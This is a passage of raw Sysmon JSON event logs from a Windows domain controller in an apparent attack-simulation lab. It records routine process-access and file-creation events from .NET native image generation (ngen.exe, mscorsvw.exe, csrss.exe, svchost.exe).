C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4343-5F2D-0000-00108C0E1100}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4343-5F2D-0000-00108C0E1100}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4343-5F2D-0000-00108C0E1100}\r\nTargetProcessId: 5036\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4343-5F2D-0000-00108C0E1100}","TargetProcessId":"5036","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:35.338\r\nProcessGuid: {90617006-4353-5F2D-0000-001064601100}\r\nProcessId: 5036\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\13ac-0\\System.Transactions.dll\r\nCreationUtcTime: 2020-08-07 12:04:35.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:35.338","ProcessGuid":"{90617006-4353-5F2D-0000-001064601100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\13ac-0\\System.Transactions.dll","CreationUtcTime":"2020-08-07 12:04:35.338","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.385\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001043641100}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001043641100}","TargetProcessId":"1192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001043641100}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001043641100}","TargetProcessId":"1192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001043641100}\r\nTargetProcessId: 1192\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001043641100}","TargetProcessId":"1192","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.479\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001028681100}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.479","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001028681100}","TargetProcessId":"4008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.479\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001028681100}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.479","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001028681100}","TargetProcessId":"4008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:35.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4353-5F2D-0000-001028681100}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:35.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4353-5F2D-0000-001028681100}","TargetProcessId":"4008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 